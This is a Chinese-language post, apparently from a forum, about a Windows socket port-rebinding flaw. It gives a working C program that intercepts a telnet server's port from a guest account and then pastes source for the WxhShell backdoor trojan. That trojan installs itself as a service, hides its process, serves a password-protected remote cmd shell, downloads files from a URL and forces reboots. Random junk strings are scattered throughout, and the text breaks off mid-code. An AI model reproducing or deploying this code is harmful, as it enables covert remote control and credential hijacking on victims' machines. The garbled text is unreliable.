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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /mex{+p>tO s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yJ $6vmQ o9eOp3w30 saddr.sin_family = AF_INET; &>JP.//spi oP`l)` saddr.sin_addr.s_addr = htonl(INADDR_ANY); GTP'js 6'Q{xJe? bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }(nT(9| !?P8[K 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xuK"pS \?xM%(:<Q 这意味着什么?意味着可以进行如下的攻击: V"YeF:I A(FnU: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FCEy1^u %~!4DXrMk 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1+FVM\<& q?}C`5%D 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k[r^@| vE:*{G;Y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 keAoJeG,J EQm{qc; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &: Q'X a^R?w|zCX 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Bh3F4k2bg7 W8d-4')| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _Si=Jp][ ?})A-$f ~ #include i>Q!5 #include dCd~]CI #include <\&9Odqc #include TR DQ+Z DWORD WINAPI ClientThread(LPVOID lpParam); *S,~zOYN int main() lfgJQzi
G { :21d WORD wVersionRequested; 7:jLZ!mgi DWORD ret; =1IK"BA2? WSADATA wsaData; }DhqzKl BOOL val; sW]_Ky.] SOCKADDR_IN saddr; m;@q('O SOCKADDR_IN scaddr; :PO./IBX int err; =
lo.LFV SOCKET s; 6("_}9ZOc SOCKET sc; ?:"ABkL|+Y int caddsize; 6
VEB2F HANDLE mt; n28JWkK8 DWORD tid; [^qT?se{ wVersionRequested = MAKEWORD( 2, 2 ); sINQ?4_8T err = WSAStartup( wVersionRequested, &wsaData ); j"qND=15 if ( err != 0 ) { T9nb ~P[ printf("error!WSAStartup failed!\n"); ?
:H+j6+f return -1; S{=5nR9 j } /WN YS saddr.sin_family = AF_INET; `_\KN_-%Vu I C //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [HILK`@@ FIq'W:q: saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); | b'Ut)E saddr.sin_port = htons(23); E%mEfj7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nfEbu4| { W==~9 printf("error!socket failed!\n"); 2R/|/>T v return -1; F1Z'tjj+ } LF7-??' val = TRUE; oZBD.s //SO_REUSEADDR选项就是可以实现端口重绑定的 &6sF wK if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *9'3 `^l { @:>"VP<( printf("error!setsockopt failed!\n"); @]Cg5QW>T return -1; cN,*QN } }3#\vn0gT //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4XpWDfa.} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BSm"]!D8* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2k.VTGak X*2W4udF if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cH5i420;aO { !Z$d<~Mq q ret=GetLastError(); JEto_&8,C printf("error!bind failed!\n"); N~)-\T:ap return -1; `zQuhD 8W } Y1PR?c
Q listen(s,2); bzi"7%c while(1) "Rj
PTRe: { s=8H<'l caddsize = sizeof(scaddr); v)
n- //接受连接请求 s$M(-"mg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dNe!X0[ if(sc!=INVALID_SOCKET) iWCYK7c@.- { xC)bW,% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6GxLaI if(mt==NULL) &S >{9y% { zdYH9d>D printf("Thread Creat Failed!\n"); 6`e{l+c=F break; 7]VR)VA M } )9eIo&Nl }
)-2Nc7 CloseHandle(mt); d/d)MoaJ*t } hP6f closesocket(s); B;9,Qbb WSACleanup(); !l[;,l return 0; F[ E'R.: } 4"P9z}y=i DWORD WINAPI ClientThread(LPVOID lpParam) o 4F'z { MPB[~#: SOCKET ss = (SOCKET)lpParam; 7b"fpB SOCKET sc; |
eBwcC#^ unsigned char buf[4096]; `J.,dqGb SOCKADDR_IN saddr; u^2`$W long num; alb3oipOB DWORD val; Y%
iqSY DWORD ret; ob7'''i //如果是隐藏端口应用的话,可以在此处加一些判断 u zZ|0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Ud/>oaW?s saddr.sin_family = AF_INET; m\>gOTpA4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y|tHU'x saddr.sin_port = htons(23); `D+zX if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -@N-i$!;J { 'va[)~! printf("error!socket failed!\n"); f{9+,z return -1; xFu ,e } 0z=KnQx"4 val = 100; tJ(xeb if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) owNwj { !gXxM,R ret = GetLastError(); L.;b(bFe return -1; "tyRnUP } 45yP {+/-Q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K,S4 { 3fOOT7!FL ret = GetLastError(); MzvhE0ab return -1; #cY[c1cNv } ifn=De3+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3bRxV
@0. { Gk:fw#R printf("error!socket connect failed!\n"); NM. e4 closesocket(sc); o0r&w;! closesocket(ss); B!'K20"gF return -1; do" m=y } vj?{={Y while(1) 1<!P:@( { !U`4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 h"[B zX //如果是嗅探内容的话,可以再此处进行内容分析和记录 cK$yr)7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 xkSX KR num = recv(ss,buf,4096,0); @gP*z6Z if(num>0) alJ0gc2?
send(sc,buf,num,0); kK5&?)3Y: else if(num==0) fN2Sio: break; 4?pb!@l num = recv(sc,buf,4096,0); /d&m#%9Up] if(num>0) x1:mT[[$ send(ss,buf,num,0); P-X|qVNK1Z else if(num==0) I9kz)Q o break; {a[BhK'g } TuwP'g[ closesocket(ss); 'n|U
closesocket(sc); 6J;!p/C8E return 0 ; e'mF1al } \Z5Wp5az}, wUvE jIKg* @ ========================================================== n@pwOHQn<| ed'[_T}T3t 下边附上一个代码,,WXhSHELL c]pz& QQAEG#.5 ========================================================== "%T~d[M W ^<AUT #include "stdafx.h" U5"u
h} 3 "kApGNB #include <stdio.h> 8u*<GbKGI #include <string.h> z83v
J*. #include <windows.h> a?gF;AYk #include <winsock2.h> ~gX1n9_n #include <winsvc.h> uyX
%&r #include <urlmon.h> ?8
}pZ_ j aR2N,<Cp5 #pragma comment (lib, "Ws2_32.lib") x}2nn)fdZ #pragma comment (lib, "urlmon.lib") SkDr4kds @!iS`u #define MAX_USER 100 // 最大客户端连接数 [#KY.n #define BUF_SOCK 200 // sock buffer Jxl'!8t #define KEY_BUFF 255 // 输入 buffer WsbVO|C u(zgKoF9A #define REBOOT 0 // 重启 <0';2yP" #define SHUTDOWN 1 // 关机 nf
pO ,!>
~izB #define DEF_PORT 5000 // 监听端口 4Uny.C] Yo %U{/e #define REG_LEN 16 // 注册表键长度 7~2_'YX>: #define SVC_LEN 80 // NT服务名长度 th{J;a U)dcemQY // 从dll定义API Lv+{@) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); + }"+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2*snMA typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mc]+j,d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H:~bWd'iz 8cO?VH,nk // wxhshell配置信息 |k~AGc struct WSCFG { [>NMuwtG int ws_port; // 监听端口 %Za}q]? char ws_passstr[REG_LEN]; // 口令 IYn`&jS{ int ws_autoins; // 安装标记, 1=yes 0=no )B]"""J char ws_regname[REG_LEN]; // 注册表键名 wXQu%F3 char ws_svcname[REG_LEN]; // 服务名 ~2*LWH*@ char ws_svcdisp[SVC_LEN]; // 服务显示名 r
(m3"Xu6O char ws_svcdesc[SVC_LEN]; // 服务描述信息 3?E7\\/R char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B2r[oT R int ws_downexe; // 下载执行标记, 1=yes 0=no +kWWx#L# char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" EUSM4djL char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "nr?WcA `:'ciY|%b }; }wo:1v8J '$,yV f // default Wxhshell configuration MXW1: struct WSCFG wscfg={DEF_PORT, j~_iv~[ "xuhuanlingzhe", +aOevkY] 1, 9o,Eqx4J "Wxhshell", 2:Yvr_L "Wxhshell", Zwq\m.h "WxhShell Service", emQc%wd{ "Wrsky Windows CmdShell Service", DWtITO> "Please Input Your Password: ", RV]#Bg*[# 1, >-c?+oy " http://www.wrsky.com/wxhshell.exe", p+g=Z<?` "Wxhshell.exe" }S iR;2W }; glC,E> (?A
c`H // 消息定义模块 .]E"w9~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iq3)}hGo char *msg_ws_prompt="\n\r? for help\n\r#>"; IS"[< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; XR]bd char *msg_ws_ext="\n\rExit."; ;):;H?WS|A char *msg_ws_end="\n\rQuit."; `Ku:%~$/ char *msg_ws_boot="\n\rReboot..."; Uic char *msg_ws_poff="\n\rShutdown..."; aMu6{u6 char *msg_ws_down="\n\rSave to "; gjsks(x e<+)IW: char *msg_ws_err="\n\rErr!"; E3a^"V3p char *msg_ws_ok="\n\rOK!"; ok6t|
7sq Gt{%O>P8t char ExeFile[MAX_PATH]; {_tq6ja-< int nUser = 0; 0J?443AY HANDLE handles[MAX_USER]; @V>]95RX int OsIsNt; |./:A5_h PM!JjMeQh SERVICE_STATUS serviceStatus; (J4( Ge SERVICE_STATUS_HANDLE hServiceStatusHandle; Dlz0*eHD nYyKz
Rz // 函数声明 $<nD-4p int Install(void); S.[L?uE~F int Uninstall(void); xVsI#`<a int DownloadFile(char *sURL, SOCKET wsh); h% >ZN-K) int Boot(int flag); #Ey_.4S void HideProc(void); LawE3CD int GetOsVer(void); K!AA4!eUzM int Wxhshell(SOCKET wsl); h}|.#!C3 void TalkWithClient(void *cs); i~E0p
, int CmdShell(SOCKET sock); q-^{2.ftcx int StartFromService(void); !]?kvf-3e int StartWxhshell(LPSTR lpCmdLine); !'!\>x$ 1Ov oW Nx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \DlMOG VOID WINAPI NTServiceHandler( DWORD fdwControl ); #-b}QhxH a`:F07r // 数据结构和表定义 s Y4wdG SERVICE_TABLE_ENTRY DispatchTable[] = ^PC;fn,I {
cY+fZ= {wscfg.ws_svcname, NTServiceMain}, x _kT
Wq {NULL, NULL} Z;NaIJiL- }; Eve,*ATI ,2U // 自我安装 W)Mz1v #s int Install(void) =,6X_m { },X.a@: char svExeFile[MAX_PATH]; ^d#
AU7V| HKEY key; Uo9@Y{<B strcpy(svExeFile,ExeFile); kbvF
9# [g`4$_9S // 如果是win9x系统,修改注册表设为自启动 %<+Ku11 if(!OsIsNt) { c0l?+:0M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 16N| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S
-,$ ( RegCloseKey(key); f/z]kfgw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hVyeHbx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ``]NB=N}{1 RegCloseKey(key); ltrti.& return 0; w_"-rGV } uzb|yV'B } } PL{i } [xb'73 else { t%,:L.?J# p< pGqW // 如果是NT以上系统,安装为系统服务 bz 7?F! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OZz/ip-!lc if (schSCManager!=0) Zcw<USF8 { fHwS12SB SC_HANDLE schService = CreateService OK-*TPrc ( T+gH38!e schSCManager, XxeP;} wscfg.ws_svcname, 3A0Qjj= wscfg.ws_svcdisp, B^]Gv7- SERVICE_ALL_ACCESS, 2zbn8tO SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vo:h"ti SERVICE_AUTO_START, KbciRRf!k SERVICE_ERROR_NORMAL, C2b<is=H: svExeFile, .i )n1 NULL, kZ6:=l NULL, }4piZ
ch NULL, ,dosF Q NULL, =b"{*Heuw NULL ?
47"$=G ); LEN=pqGJ. if (schService!=0) (+xT5 2 { RZVZ#q(DU CloseServiceHandle(schService); t+pA9^$[` CloseServiceHandle(schSCManager); j%ZBAk)} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #RyTa
/L strcat(svExeFile,wscfg.ws_svcname); ang~_Ec. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]R!YRu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WAtv4 RegCloseKey(key); CRiqY_gBf return 0; B+jh|@- } A42!%>PB } u|\?6fz CloseServiceHandle(schSCManager);
$tc1te } MO| Dwuaf } Hj `\Fm*A |+[Y_j return 1; {KK/mAp{ } 7hLh} VV54$a // 自我卸载 @KHY8y7 int Uninstall(void) v>mK~0.$ { #Jp|Cb<qx HKEY key; +!:=Mm c/j+aj0.v if(!OsIsNt) { MXDCOe~07 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K W
ZEi? RegDeleteValue(key,wscfg.ws_regname); Wl+spWqW RegCloseKey(key); $-jj%kS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M} ri>o RegDeleteValue(key,wscfg.ws_regname); ([^f1;ncm RegCloseKey(key); O.\\)8xA return 0; 0r i } paMK]- } fz8 41 <Y } =[Z3]#h else { T-+ uQ3 p*T[(\8{n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r1}1lJ>7H if (schSCManager!=0) Aeo=m}C; { %.'oY% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C(z'oi:f if (schService!=0) u
i$4 { B&1E&Cv_8 if(DeleteService(schService)!=0) { ;i/? fw[h CloseServiceHandle(schService); KDV.ZSF7 CloseServiceHandle(schSCManager); ufw[Ei$I: return 0; N 6\Ey{ } 5j0 Ib>\ CloseServiceHandle(schService); |;d#k+/; } T2tvU*[= CloseServiceHandle(schSCManager); {^:NII] } _ yDDPuAi } .j>MsQP#\C Q7d@+C return 1; xD~r Q$6sI } 6-g>(g PDz:x4A // 从指定url下载文件 Of$R+n. int DownloadFile(char *sURL, SOCKET wsh) #N~1Ye { Qgv g*KX HRESULT hr; gSj0+| char seps[]= "/"; nII#uI/!q char *token; Zg>]!^X8 char *file; TXf60{:f char myURL[MAX_PATH]; ^SsnCn-e char myFILE[MAX_PATH]; +9pock ^Pu:&:ki strcpy(myURL,sURL); .5s^a.e'O token=strtok(myURL,seps); b353+7"| while(token!=NULL) X%N!gy { :O,r3O6 file=token; L$+_ token=strtok(NULL,seps); Uq{$j5p8 } ]sE)-8 j(K)CHH GetCurrentDirectory(MAX_PATH,myFILE); njO~^Hl7 strcat(myFILE, "\\"); nD]MgT strcat(myFILE, file); 9k6/D.Dz send(wsh,myFILE,strlen(myFILE),0); ^e;9_( send(wsh,"...",3,0); K=}Eupn= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P{:Z xli0 if(hr==S_OK) w:iMrQeJg return 0; r ?<kWR?w else ?,+&NX3m return 1; 'jO8C2Th% l?V#; } A"s?;hv\fS j {2 0 // 系统电源模块 nt-_)4Fm int Boot(int flag) r:E4Wi{\ { }[drR(]`dO HANDLE hToken; _8F;-7Sz TOKEN_PRIVILEGES tkp; C]l)Pz$ 4<)*a]\c5M if(OsIsNt) { .XRe:\8mc OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )PYh./_2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %|^,Q -i, tkp.PrivilegeCount = 1; ?9!9lSH6% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H+]h+K9\7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \.p;
4V& if(flag==REBOOT) { E?bv<L," if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kumo%TXB& return 0; RP[`\ } 8faT@J'e; else { @Bjp7v:w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uudd'L return 0; `kv7Rr}Q } SDNRcSbOD6 } XP:fL
NpQ else { 55UPd#E' if(flag==REBOOT) { K :+q9;g if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i+< v7?:`# return 0; T<b*=i } yJO Jw o^ else { $cwmfF2C if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !$ii*} return 0; =h
+SZXe<r } PApr8Xe } D^P0X:T] %zRuIDmv return 1; "UhE'\() } A
#m _w* N;BuBm5K // win9x进程隐藏模块 1>Vq<z void HideProc(void) A-_M=\ { T /IX(b'< H"k\(SPVS HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4g}r+!T if ( hKernel != NULL ) 92.Rjz;=9? { eT5IL(mH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &DHIYj1 i ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P2iuB|B@ FreeLibrary(hKernel); P$N5j~* } @qjN>PH~ bi+g=cS return; "rEfhzmyF } /YU8L hNkv lk'Ui // 获取操作系统版本 PVdN)tG5 int GetOsVer(void) ~)>.%`v& { w`+-xT% OSVERSIONINFO winfo; v*.iNA;&i winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <RbfW'<G GetVersionEx(&winfo); V?)V2>] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !wfUD2K1 return 1; .f;@OqU else u*uHdV5 return 0; dn?'06TD } a.JjbFL |22vNt_ // 客户端句柄模块 `'EG7 int Wxhshell(SOCKET wsl) qdKqc,R1{ { 3XQe? 2:< SOCKET wsh; f#!nj]}# struct sockaddr_in client; 1q5S"=+W[ DWORD myID; Q8QB{*4 vdB2T2F while(nUser<MAX_USER) i^Jw`eAmT { ;#IrHR*Bk int nSize=sizeof(client); K7(k_4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >hq{:m if(wsh==INVALID_SOCKET) return 1; O'#;Ge/, j%Z5[{!/,X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C2=PGq if(handles[nUser]==0) 0+SZ-] closesocket(wsh); h"Wpb}FT else *<SXzJ( nUser++; yM9>)SE5` } ~UQ<8`@a WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5!$sQ@#}D fO^s4gWTg return 0; _dCDT$^&r } C"0
VOb )D'#>!Y // 关闭 socket QHUFS{G] void CloseIt(SOCKET wsh) 'NfsAE { 6-/W4L)?> closesocket(wsh); qvGmJN0 nUser--; COw!a\Jl ExitThread(0); i;]# @n| }
$?gKIv>g $^czqA-& // 客户端请求句柄 \+Y=}P> void TalkWithClient(void *cs) ;pOV; q3j { "*l{ m2" v3t<rv SOCKET wsh=(SOCKET)cs; ,D(Bg9C char pwd[SVC_LEN]; ePv`R'# char cmd[KEY_BUFF];
(V'w5&f(L char chr[1]; Lyn{Uag int i,j; #DJZ42 WJa7
while (nUser < MAX_USER) { |]?W`KN0 fGs\R] if(wscfg.ws_passstr) { sMUpkU- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V:P]Ved //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |S@ //ZeroMemory(pwd,KEY_BUFF); #8M^;4N>[ i=0; Z(R0IW while(i<SVC_LEN) { [P ;fv BzWkZAX // 设置超时 ?2,D-3 { fd_set FdRead; 0o6o<ggi struct timeval TimeOut; Jc]66
FD_ZERO(&FdRead); P0hr=/h4 FD_SET(wsh,&FdRead); *kTp(*K/7` TimeOut.tv_sec=8; ~7g$TAe{ TimeOut.tv_usec=0; 8Exky^OT| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?@FqlWz , if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &OXx\}>MW zzo93d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8<C@I/ pwd =chr[0]; $9X?LGUz if(chr[0]==0xd || chr[0]==0xa) { vJVh%l+ pwd=0; }''0N1,/ break; 3c wBPqH } #;@I. i++; l=Pw
yJ } ,2^A<IwR JTBt=u{6^ // 如果是非法用户,关闭 socket /z`tI if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \{~CO{II } dvZlkMm
iPWr- send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w{*V8S3h9 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @o'L! 5Y 83'+q((< while(1) { {+d)M ~[og\QZX ZeroMemory(cmd,KEY_BUFF); Vmh$c*TE kdV9F // 自动支持客户端 telnet标准 CRNi*u j=0; 2g?q4e, while(j<KEY_BUFF) { qR?}i,_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L,nb< cmd[j]=chr[0]; =Bm|9A1 if(chr[0]==0xa || chr[0]==0xd) { \ )>#`X cmd[j]=0; `jTB9A" break; S&]r6ss } 6d/v%-3 j++; +s;Vfc$b]H } hmG8
{h/ ~ QohP`_ // 下载文件 g&EK^q if(strstr(cmd,"http://")) { |42;171
send(wsh,msg_ws_down,strlen(msg_ws_down),0); _29wQn@] if(DownloadFile(cmd,wsh)) "XLtrAu{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yl"CIgt else j)YX=r;xM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "_dg$j`Y&& } $Zw+"AA else { WwtVuc| wpi$-i` switch(cmd[0]) { P6ktA-Hv> LayK&RwL // 帮助 4(oU88z case '?': { ;~d$OM send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,RY;dX-# break; S+-$Ih`[ } =h|cs{eT\2 // 安装 g.%} +5 case 'i': { O`GF| if(Install()) j;z7T;!i send(wsh,msg_ws_err,strlen(msg_ws_err),0); yJ0%6],^g else B)L0hi send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'r\RN\PT break; I^u~r. } Kr1Y3[iNv // 卸载 oz,.gP% case 'r': { Buh}+n2]5 if(Uninstall()) `^'fS@VA send(wsh,msg_ws_err,strlen(msg_ws_err),0); *jPd=+d else wQd8/&mmk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dPf7o
break; c?}G;$ } Wwg<-
9wAJ // 显示 wxhshell 所在路径 cS:O|R#%t case 'p': { UpE+WzY char svExeFile[MAX_PATH]; Q3^h strcpy(svExeFile,"\n\r"); e?B}^Dk0i strcat(svExeFile,ExeFile); C8T0=o/-` send(wsh,svExeFile,strlen(svExeFile),0); p8@&(+z break; qnWM %k } -OU{99$aS // 重启 o,c}L9nvt case 'b': { }S?"mg&V send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z[]8X@IPe if(Boot(REBOOT)) zF>;7'\x send(wsh,msg_ws_err,strlen(msg_ws_err),0); B]() else { #>,E"-]f closesocket(wsh); 6aHD?a o ExitThread(0); +/RR!vG, } tK/,U
=+ break; (EosLn
h0 } 8-k`"QI= // 关机 2fu<s^9dh case 'd': { :b %2qBv send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $0 vT_ if(Boot(SHUTDOWN)) xf,A<j(o send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cc%{e9e* else { @H4]Gp ] closesocket(wsh); G}+@C] ExitThread(0); {I$iD } hwL`9.w break; Z2})n
- } [XDV-6KCE. // 获取shell sP2Uj case 's': { ZS(%!+ M CmdShell(wsh); +lVA$]d closesocket(wsh); 'xG J;pY ExitThread(0); !5?_) break; _Z9d.- } DQP!e6Of // 退出 W SxoGly case 'x': { srAWet send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~TS!5Wiv CloseIt(wsh); 8]b;l; W5 break; \9`
~9#P } ?a% F3B // 离开 cHT\sJo`l case 'q': { y {Bajil send(wsh,msg_ws_end,strlen(msg_ws_end),0);
+PADy8 closesocket(wsh); %Y=r5'6l WSACleanup(); |?Edk7` exit(1); "a~r'+'< break; Xa#.GrH6 } AH/o-$C& } UQ;2g\([ } ty"L&$bf Z4As'al // 提示信息 %cUC~, g_( if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jnztCNaX } 4:a ~Wlp[ } lMu-,Z=" ,tg]Gt return; $MwBt } fmQif]J;; FGyrDRDwC // shell模块句柄 p_&B+
<z int CmdShell(SOCKET sock) x7<l*WQ { fKr_u<| STARTUPINFO si; v^s?=9 ZeroMemory(&si,sizeof(si)); \mJR^t si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W'"?5} ( si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c_+fA PROCESS_INFORMATION ProcessInfo; 6fI2y4yEz char cmdline[]="cmd"; L?j<KW CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <\Y(+?+uZ return 0; 41Q)w=hoN } %k['<BYG< E# 8|h( // 自身启动模式 '/ Hoq int StartFromService(void) <a
-a~ { (GL'm[V typedef struct SG\ /m'F { G<<;a DWORD ExitStatus; >]gB@tn[ DWORD PebBaseAddress; LiQH!yHW DWORD AffinityMask;
uM\\(g} DWORD BasePriority; LA59O@r ULONG UniqueProcessId; cl]W]^q-Cx ULONG InheritedFromUniqueProcessId; HpIi- Es7C } PROCESS_BASIC_INFORMATION; ILH[q> 5EI"5&`* PROCNTQSIP NtQueryInformationProcess; id :
^| 4~$U#$u_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~J+
